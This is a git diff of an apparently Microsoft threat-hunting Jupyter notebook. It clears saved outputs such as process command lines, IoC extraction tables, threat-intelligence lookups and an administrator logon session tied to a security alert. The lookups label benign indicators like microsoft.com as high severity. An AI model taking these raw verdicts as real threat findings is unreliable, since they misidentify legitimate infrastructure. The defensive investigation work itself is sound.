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--initial-client-dat\\na=0x1d4,0x1d8,0x1dc,0x1d0,0x1e0,0x7ff750ce5098,0x7\\nff750ce50a8,0x7ff750ce50b8\",\"\\\"C:\\\\Windows\\\\TEMP\\\\CR_42BC8.tmp\\\\setup.exe\\\"\\n--install-archive=\\\"C:\\\\Windows\\\\TEMP\\\\CR_42BC8.tmp\\\\CH\\nROME_PATCH.PACKED.7Z\\\" --previous-\\nversion=\\\"72.0.3626.96\\\" --verbose-logging --do-not-\\nlaunch-chrome --system-level\",\"C:\\\\Windows\\\\TEMP\\\\CR_42BC8.tmp\\\\setup.exe\\n--type=crashpad-handler /prefetch:7 --monitor-\\nself-annotation=ptype=crashpad-handler\\n--database=C:\\\\Windows\\\\TEMP\\\\Crashpad\\n--url=https://clients2.google.com/cr/report\\n--annotation=channel= --annotation=plat=Win64\\n--annotation=prod=Chrome\\n--annotation=ver=72.0.3626.109 --initial-client-da\\nta=0x1e0,0x1e4,0x1e8,0x1dc,0x1ec,0x7ff728255098,0x\\n7ff7282550a8,0x7ff7282550b8\",\"\\\"C:\\\\Program Files (x86)\\\\Google\\\\Update\\\\1.3.33.23\\\\Go\\nogleCrashHandler.exe\\\"\",\"\\\"C:\\\\Program Files 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/nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring\\nAgent\\\\Agent\\\\Health Service State\\\\ICT\\n2\\\\CMF-64/DesiredStateConfiguration\\\\DscRun.exe\\\"\\nGetInventory \\\"C:\\\\Program Files\\\\Microsoft\\nMonitoring Agent\\\\Agent\\\\Health Service State\\\\ICT\\n2\\\\work\\\\Registry.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft\\nMonitoring Agent\\\\Agent\\\\Health Service State\\\\ICT\\n2\\\\work\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring\\nAgent\\\\Agent\\\\Health Service State\\\\ICT\\n2\\\\CMF/DesiredStateConfiguration\\\\DscRun.exe\\\"\\nGetInventory \\\"C:\\\\Program Files\\\\Microsoft\\nMonitoring Agent\\\\Agent\\\\Health Service State\\\\ICT\\n2\\\\work\\\\localhost.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft\\nMonitoring Agent\\\\Agent\\\\Health Service State\\\\ICT\\n2\\\\work\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"C:\\\\Windows\\\\system32\\\\MusNotification.exe Display\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 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the middle or edges of the selection box to change the range in the main chart\",\"text_font_size\":{\"value\":\"10px\"}},\"id\":\"2215\",\"type\":\"Title\"},{\"attributes\":{\"axis\":{\"id\":\"2182\"},\"dimension\":1,\"grid_line_color\":null,\"ticker\":null},\"id\":\"2185\",\"type\":\"Grid\"},{\"attributes\":{\"num_minor_ticks\":10,\"tickers\":[{\"id\":\"2261\"},{\"id\":\"2262\"},{\"id\":\"2263\"},{\"id\":\"2264\"},{\"id\":\"2265\"},{\"id\":\"2266\"},{\"id\":\"2267\"},{\"id\":\"2268\"},{\"id\":\"2269\"},{\"id\":\"2270\"},{\"id\":\"2271\"},{\"id\":\"2272\"}]},\"id\":\"2179\",\"type\":\"DatetimeTicker\"},{\"attributes\":{\"overlay\":{\"id\":\"2191\"}},\"id\":\"2187\",\"type\":\"BoxZoomTool\"},{\"attributes\":{\"end\":1550100279010.7,\"start\":1550095311002.2998},\"id\":\"2170\",\"type\":\"Range1d\"},{\"attributes\":{\"formatter\":{\"id\":\"2257\"},\"ticker\":{\"id\":\"2183\"},\"visible\":false},\"id\":\"2182\",\"type\":\"LinearAxis\"},{\"attributes\":{\"axis_label\":\"Event Time\",\"formatter\":{\"id\":\"2233\"},\"ticker\":{\"id\":\"2179\"}},\"id\":\"2178\",\"type\":\"DatetimeAxis\"},{\"attributes\":{\"dimensions\":\"width\"},\"id\":\"2190\",\"type\":\"PanTool\"},{\"attributes\":{\"below\":[{\"id\":\"2210\"},{\"id\":\"2215\"}],\"center\":[{\"id\":\"2213\"}],\"plot_height\":120,\"plot_width\":900,\"renderers\":[{\"id\":\"2221\"},{\"id\":\"2226\"}],\"title\":{\"id\":\"2200\"},\"toolbar\":{\"id\":\"2214\"},\"toolbar_location\":null,\"x_range\":{\"id\":\"2202\"},\"x_scale\":{\"id\":\"2206\"},\"y_range\":{\"id\":\"2204\"},\"y_scale\":{\"id\":\"2208\"}},\"id\":\"2199\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{},\"id\":\"2189\",\"type\":\"SaveTool\"},{\"attributes\":{\"text\":\"Range Selector\"},\"id\":\"2200\",\"type\":\"Title\"}],\"root_ids\":[\"2254\"]},\"title\":\"Bokeh Application\",\"version\":\"2.1.1\"}};\n", - " var render_items = [{\"docid\":\"0dc95462-545c-40d6-b486-3fd89142eecb\",\"root_ids\":[\"2254\"],\"roots\":{\"2254\":\"87045ecf-3b0f-4ab4-9db3-d73b085584d8\"}}];\n", - " root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n", - "\n", - " }\n", - " if (root.Bokeh !== undefined) {\n", - " embed_document(root);\n", - " } else {\n", - " var attempts = 0;\n", - " var timer = setInterval(function(root) {\n", - " if (root.Bokeh !== undefined) {\n", - " clearInterval(timer);\n", - " embed_document(root);\n", - " } else {\n", - " attempts++;\n", - " if (attempts > 100) {\n", - " clearInterval(timer);\n", - " console.log(\"Bokeh: ERROR: Unable to run BokehJS code because BokehJS library is missing\");\n", - " }\n", - " }\n", - " }, 10, root)\n", - " }\n", - "})(window);" - ], - "application/vnd.bokehjs_exec.v0+json": "" - }, - "metadata": { - "application/vnd.bokehjs_exec.v0+json": { - "id": "2254" - } - }, - "output_type": "display_data" - } - ], + "execution_count": null, + "metadata": {}, + "outputs": [], "source": [ "# Show timeline of events - clustered events\n", "if 'clus_events' in locals() and not clus_events.empty:\n", @@ -4678,36 +711,9 @@ }, { "cell_type": "code", - "execution_count": 24, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-16T02:20:12.962663Z", - "start_time": "2020-05-16T02:20:11.763218Z" - } - }, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "\n", - "Potential IoCs found in alert process:\n" - ] - }, - { - "data": { - "text/plain": [ - "defaultdict(set,\n", - " {'windows_path': {'.\\\\tsetup.1.exe',\n", - " 'c:\\\\users\\\\msticadmin\\\\appdata\\\\local\\\\temp\\\\2\\\\is-01dd7.tmp\\\\tsetup.1.0.14.tmp',\n", - " 'c:\\\\users\\\\msticadmin\\\\downloads\\\\tsetup.1.0.14.exeAA'},\n", - " 'linux_path': {'/sl5=\"$250276,19992586,423424,c:\\\\users\\\\msticadmin\\\\downloads\\\\tsetup.1.0.14.exeAA'}})" - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], + "execution_count": null, + "metadata": {}, + "outputs": [], "source": [ "process = security_alert.primary_process\n", "ioc_extractor = IoCExtract()\n", @@ -4741,128 +747,9 @@ }, { "cell_type": "code", - "execution_count": 25, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-16T02:20:15.419954Z", - "start_time": "2020-05-16T02:20:15.359955Z" - } - }, - "outputs": [ - { - "data": { - "text/html": [ - "

IoC patterns found in process tree.

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IoCTypeObservableSourceIndex
0dns7a9d40f2-490e-4468-a8cf-b7822b95614d.zip25
1ipv4168.63.129.1635
2dnsmicrosoft.com100
3dnsclients2.google.com123
4urlhttps://clients2.google.com/cr/report123
5dnsclients2.google.com125
6urlhttps://clients2.google.com/cr/report125
7ipv41.3.33.23126
8ipv41.3.33.23127
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" - ], - "text/plain": [ - " IoCType Observable SourceIndex\n", - "0 dns 7a9d40f2-490e-4468-a8cf-b7822b95614d.zip 25\n", - "1 ipv4 168.63.129.16 35\n", - "2 dns microsoft.com 100\n", - "3 dns clients2.google.com 123\n", - "4 url https://clients2.google.com/cr/report 123\n", - "5 dns clients2.google.com 125\n", - "6 url https://clients2.google.com/cr/report 125\n", - "7 ipv4 1.3.33.23 126\n", - "8 ipv4 1.3.33.23 127" - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], + "execution_count": null, + "metadata": {}, + "outputs": [], "source": [ "ioc_extractor = IoCExtract()\n", "\n", @@ -4904,22 +791,9 @@ }, { "cell_type": "code", - "execution_count": 26, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-16T02:20:19.183556Z", - "start_time": "2020-05-16T02:20:19.165556Z" - } - }, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "No base64 encodings found.\n" - ] - } - ], + "execution_count": null, + "metadata": {}, + "outputs": [], "source": [ "if source_processes is not None:\n", " dec_df = base64.unpack_items(data=source_processes, column='CommandLine')\n", @@ -4960,194 +834,9 @@ }, { "cell_type": "code", - "execution_count": 27, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-16T02:20:32.758293Z", - "start_time": "2020-05-16T02:20:22.825297Z" - } - }, - "outputs": [ - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Using Open PageRank. See https://www.domcop.com/openpagerank/what-is-openpagerank\n" - ] - }, - { - "data": { - "text/html": [ - "

Positive TI Results:

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IocIocTypeSafeIocQuerySubtypeProviderResultSeverityDetailsRawResultReferenceStatus
2microsoft.comdnsmicrosoft.comNoneOTXTruehigh{'pulse_count': 9, 'names': ['MIOCs - Latest Malware Analysis worldwide', 'MIOCs - Latest Malwar...{'indicator': 'microsoft.com', 'alexa': 'http://www.alexa.com/siteinfo/microsoft.com', 'whois': ...https://otx.alienvault.com/api/v1/indicators/domain/microsoft.com/general0
1168.63.129.16ipv4168.63.129.16NoneXForceTruewarning{'score': 1, 'cats': {}, 'categoryDescriptions': {}, 'reason': 'Regional Internet Registry', 're...{'ip': '168.63.129.16', 'history': [{'created': '2012-03-22T07:26:00.000Z', 'reason': 'Regional ...https://api.xforce.ibmcloud.com/ipr/168.63.129.160
71.3.33.23ipv41.3.33.23NoneXForceTruewarning{'score': 1, 'cats': {}, 'categoryDescriptions': {}, 'reason': 'Regional Internet Registry', 're...{'ip': '1.3.33.23', 'history': [{'created': '2012-03-22T07:26:00.000Z', 'reason': 'Regional Inte...https://api.xforce.ibmcloud.com/ipr/1.3.33.230
81.3.33.23ipv41.3.33.23NoneXForceTruewarning{'score': 1, 'cats': {}, 'categoryDescriptions': {}, 'reason': 'Regional Internet Registry', 're...{'ip': '1.3.33.23', 'history': [{'created': '2012-03-22T07:26:00.000Z', 'reason': 'Regional Inte...https://api.xforce.ibmcloud.com/ipr/1.3.33.230
\n", - "
" - ], - "text/plain": [ - " Ioc IocType SafeIoc QuerySubtype Provider Result \\\n", - "2 microsoft.com dns microsoft.com None OTX True \n", - "1 168.63.129.16 ipv4 168.63.129.16 None XForce True \n", - "7 1.3.33.23 ipv4 1.3.33.23 None XForce True \n", - "8 1.3.33.23 ipv4 1.3.33.23 None XForce True \n", - "\n", - " Severity \\\n", - "2 high \n", - "1 warning \n", - "7 warning \n", - "8 warning \n", - "\n", - " Details \\\n", - "2 {'pulse_count': 9, 'names': ['MIOCs - Latest Malware Analysis worldwide', 'MIOCs - Latest Malwar... \n", - "1 {'score': 1, 'cats': {}, 'categoryDescriptions': {}, 'reason': 'Regional Internet Registry', 're... \n", - "7 {'score': 1, 'cats': {}, 'categoryDescriptions': {}, 'reason': 'Regional Internet Registry', 're... \n", - "8 {'score': 1, 'cats': {}, 'categoryDescriptions': {}, 'reason': 'Regional Internet Registry', 're... \n", - "\n", - " RawResult \\\n", - "2 {'indicator': 'microsoft.com', 'alexa': 'http://www.alexa.com/siteinfo/microsoft.com', 'whois': ... \n", - "1 {'ip': '168.63.129.16', 'history': [{'created': '2012-03-22T07:26:00.000Z', 'reason': 'Regional ... \n", - "7 {'ip': '1.3.33.23', 'history': [{'created': '2012-03-22T07:26:00.000Z', 'reason': 'Regional Inte... \n", - "8 {'ip': '1.3.33.23', 'history': [{'created': '2012-03-22T07:26:00.000Z', 'reason': 'Regional Inte... \n", - "\n", - " Reference \\\n", - "2 https://otx.alienvault.com/api/v1/indicators/domain/microsoft.com/general \n", - "1 https://api.xforce.ibmcloud.com/ipr/168.63.129.16 \n", - "7 https://api.xforce.ibmcloud.com/ipr/1.3.33.23 \n", - "8 https://api.xforce.ibmcloud.com/ipr/1.3.33.23 \n", - "\n", - " Status \n", - "2 0 \n", - "1 0 \n", - "7 0 \n", - "8 0 " - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], + "execution_count": null, + "metadata": {}, + "outputs": [], "source": [ "from msticpy.sectools.tiproviders.ti_provider_base import TISeverity\n", "\n", @@ -5179,58 +868,9 @@ }, { "cell_type": "code", - "execution_count": 28, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-16T02:21:17.223752Z", - "start_time": "2020-05-16T02:21:17.162753Z" - }, - "scrolled": true - }, - "outputs": [ - { - "data": { - "application/vnd.jupyter.widget-view+json": { - "model_id": "87ed7e7597334145b854cba3e6835c5b", - "version_major": 2, - "version_minor": 0 - }, - "text/plain": [ - "HTML(value='

Set query time boundaries

')" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/vnd.jupyter.widget-view+json": { - "model_id": "64d2e0659a3547b4a11c7a3df67a5cb1", - "version_major": 2, - "version_minor": 0 - }, - "text/plain": [ - "HBox(children=(DatePicker(value=datetime.date(2019, 2, 13), description='Origin Date'), Text(value='23:07:57',…" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/vnd.jupyter.widget-view+json": { - "model_id": "cfc10cac7a86448ba51f9fb726781897", - "version_major": 2, - "version_minor": 0 - }, - "text/plain": [ - "VBox(children=(IntRangeSlider(value=(-5, 1), description='Time Range (day):', layout=Layout(width='80%'), max=…" - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], + "execution_count": null, + "metadata": {}, + "outputs": [], "source": [ "# set the origin time to the time of our alert\n", "query_times = nbwidgets.QueryTime(units='day', before=5, max_before=20,\n", @@ -5241,87 +881,9 @@ }, { "cell_type": "code", - "execution_count": 29, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-16T02:21:22.127025Z", - "start_time": "2020-05-16T02:21:19.300028Z" - } - }, - "outputs": [ - { - "data": { - "text/html": [ - "

Command Line: '.\\\\tsetup.1.exe c:\\\\users\\\\msticadmin\\\\appdata\\\\local\\\\temp\\\\2\\\\is-01dd7.tmp\\\\tsetup.1.0.14.tmp' /sl5='$250276,19992586,423424,c:\\\\users\\\\msticadmin\\\\downloads\\\\tsetup.1.0.14.exe'

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No proceses with matching commandline found in on other hosts in workspace

" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "text/html": [ - "

between: 2019-02-08 23:07:57+00:00 and 2019-02-14 23:07:57+00:00

" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], + "execution_count": null, + "metadata": {}, + "outputs": [], "source": [ "# This query needs a commandline parameter which isn't supplied\n", "# by default from the the alert \n", @@ -5378,58 +940,9 @@ }, { "cell_type": "code", - "execution_count": 30, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-16T02:21:24.995564Z", - "start_time": "2020-05-16T02:21:24.938564Z" - }, - "scrolled": true - }, - "outputs": [ - { - "data": { - "application/vnd.jupyter.widget-view+json": { - "model_id": "d8513ca63b4a45e088b1e7f6f3bb5c61", - "version_major": 2, - "version_minor": 0 - }, - "text/plain": [ - "HTML(value='

Set query time boundaries

')" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/vnd.jupyter.widget-view+json": { - "model_id": "d2d5ba220c6f4f3fb7316ae974a8065e", - "version_major": 2, - "version_minor": 0 - }, - "text/plain": [ - "HBox(children=(DatePicker(value=datetime.date(2019, 2, 13), description='Origin Date'), Text(value='23:07:57',…" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/vnd.jupyter.widget-view+json": { - "model_id": "2eb69e8b0c414849aba7eb2aa67eaa84", - "version_major": 2, - "version_minor": 0 - }, - "text/plain": [ - "VBox(children=(IntRangeSlider(value=(-1, 0), description='Time Range (day):', layout=Layout(width='80%'), max=…" - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], + "execution_count": null, + "metadata": {}, + "outputs": [], "source": [ "# set the origin time to the time of our alert\n", "query_times = nbwidgets.QueryTime(units='day', origin_time=security_alert.origin_time,\n", @@ -5451,69 +964,9 @@ }, { "cell_type": "code", - "execution_count": 31, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-16T02:21:30.636724Z", - "start_time": "2020-05-16T02:21:28.813548Z" - } - }, - "outputs": [ - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "text/html": [ - "\n", - " \n", - "
Account: MSTICAdmin
Account Domain: MSTICAlertsWin1
Logon Time: 2019-02-13 23:07:23.823000+00:00
Logon type: 4(Batch)
User Id/SID: S-1-5-21-996632719-2361334927-4038480536-500
  SID S-1-5-21-996632719-2361334927-4038480536-500 is administrator
  SID S-1-5-21-996632719-2361334927-4038480536-500 is local machine or domain account

Subject (source) account: WORKGROUP/MSTICAlertsWin1$
Logon process: Advapi
Authentication: Negotiate
Source IpAddress: -
Source Host: MSTICAlertsWin1
Logon status:
" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], + "execution_count": null, + "metadata": {}, + "outputs": [], "source": [ "logon_id = security_alert.get_logon_id()\n", "\n", @@ -5540,73 +993,9 @@ }, { "cell_type": "code", - "execution_count": 32, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-16T02:21:33.574131Z", - "start_time": "2020-05-16T02:21:31.528726Z" - } - }, - "outputs": [ - { - "data": { - "text/html": [ - "

Querying data...

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y3uttt3fWe/WeY3ruSSf9Q4499oj85Ce3Zo893pQk+fGPb86vfz07l1325VRVlY9+9EP57nevyT/8w6n5xjf+PZdd9qXceuvNufrqb+Www2bkZz/7SZ544ok88sjc3H33XXnta1+XJ598Ip/+9Cfy+c9fnhe84IX52te+nAsvPD8f+9h5SZI3venNOffcT/aOX952263553/+Yi666JJsvvnmq+T3QYUNAABotI03npTTT5855GjkT396W371qzvz7ncfkxNOeGf++79/lbvu+v2Q1+2yy2751a9+mYGBgfzhD3/I2962f/7rv27PrbfelDe/ea/86le/zA47vCYveMELkyQHHzw9s2b9pPf6HXd8be/Xjz/+WM4++9QccMC0bLHFlqvss6mwAQAAz8p6r95zzFWw1e0Nb3jTkKORAwN1Dj/8yBxxxDuTJE8++WT6+vqGvGaDDTbIq1716nz3u9fkpS99aXbZZbfMmnVbfvGLn+eoo47LnXf+fMjzSykZGBgY8vququrkk5+8IB/5yMzst9/UPP/5k1fJ51JhAwAAWuGkk/4ht912S+bOfTi77bZ7rrvu/8v8+fPT39+fM8/8QH7wg+8nSfr6+tLf358kefOb98y//MsXs8suu2WXXXbLjTf+ZzbccMNsttlm2XHH1+ZXv7qjd+Tx29/+j+y6624r/Nmbbrppdtttjxx22IxcdNH5q+wzjSmwffazn8073vGOTJs2Lf/8z/+83OOzZ8/O9OnTM3Xq1Jx99tm9Dw8AALCmdI9GLlq0KHvuuXf22Wff/PVfH59jj/2rbLvtdnn72w9Mkuy11945/vijsnDhwkyZslfuu+/e7LLL7tl0002z2Wab581v3itJssUWW+bUU8/OWWedkne+8/DcfvusnHLKWSNewzvfeXzuuuv3+dGPfrBKPlNVSikjPeG2227LRRddlK985Svp7+/PO97xjnzxi1/MK17xit5zDjzwwHzsYx/LzjvvnLPOOiuvfe1rc9RRR435IubOnZe6HvEyAACAtexPf/pDttnmpWv7Mhpt2d/DTqfKlltOGvb5o1bY3vCGN+TLX/5yJkyYkLlz52ZgYCAbbbRR7/H77rsvCxYsyM4775wkmT59eq699trn8hkAAADIGI9Errfeevnc5z6XadOmZcqUKdl66617jz344IOZPHlJQ93kyZPzwAMPrPorBQAAhrjhj/+ZPzxxz9q+DFajMU+JPPnkk3PiiSfmb/7mb3LFFVfkr/7qr5IkdV2nqqre80opQ74ei5FKgAAAwIr9vz+8Lvu9cu/s/sod18jPe/DBTiZMMLfwueh0Opk8eZMxP3/UwPa73/0uzzzzTHbYYYdsuOGG2X///fPrX/+69/g222yThx56qPf1ww8/nK222mqlLloPGwAArLy6lDw1f0EeeujJNfPz6jr9/fUa+VltVdf1kD+v59zDdu+992bmzJl55pln8swzz+T73/9+dtttySjLF73oRdlggw0ya9asJMlVV12Vvffe+7l8BgAAYAxKKalHniFIw40a2PbZZ5/8+Z//eQ499ND8xV/8RXbZZZdMmzYtJ554Yu64444kyQUXXJBPfvKTOeCAAzJ//vwce+yxq/3CAQBgXVdSUkfFq81GHeu/JjgSCQAAK++kG07Pm1+4R47afsYa+Xnjcaz///7f38tXvvIvGRgYSCl1DjhgWo466rkVkL71rW8kSQ49dNX/vq7sWP8xDx0BAADGj1JKSkoGyrpbYXvooQdzySWfyf/6X/9Pnve8zTJ//vycdNJf5yUveWn22mufZ/2+qyOoPVsCGwAANFDJ4Am1cXBgbq157LHH0t/fnwULFuR5z0s22mijzJz54ay//gaZPfuX+dznLszChQvyvOdtllNPPSsvfOGLctJJf51NN31e7rrrd9l//7fnsccezfved1qS5OKLL8pWW22VefPmJUne/e735LvfvTZf/vLlSarssMOOOf30wfkeF154Xn7/+9+lruscffSx2W+/A1bLZxTYAACggbpBrV6LFbYfz5mVW+b8ZLW895QX7JE3vmC3EZ+z7bavzlvesk8OP/yQvPrV22WXXXbPfvsdkK233iZnn31azjvvomyzzTb58Y9vyXnnfTyf/eylSZJXvvJV+cQnPp1HH300J5xwdE4++QPpdDr54Q9vyBe+8M/51re+mWSwgnfxxRfm8su/kq222jof/egHc/PNN+aXv7wj2223Q2bO/Eieempe/uZvTsiOO742L3rRi1f574PABgAADVRn7Qe28eCUU87Mcce9O7fddmtuu+2WvOc978oxxxyf+++/N2ec8f7e85566qner3fc8bVJks033zyvetW2+dnPfpr11lsvL3nJS7Plls/vPe/OO3+RnXZ6fbbaauskyQc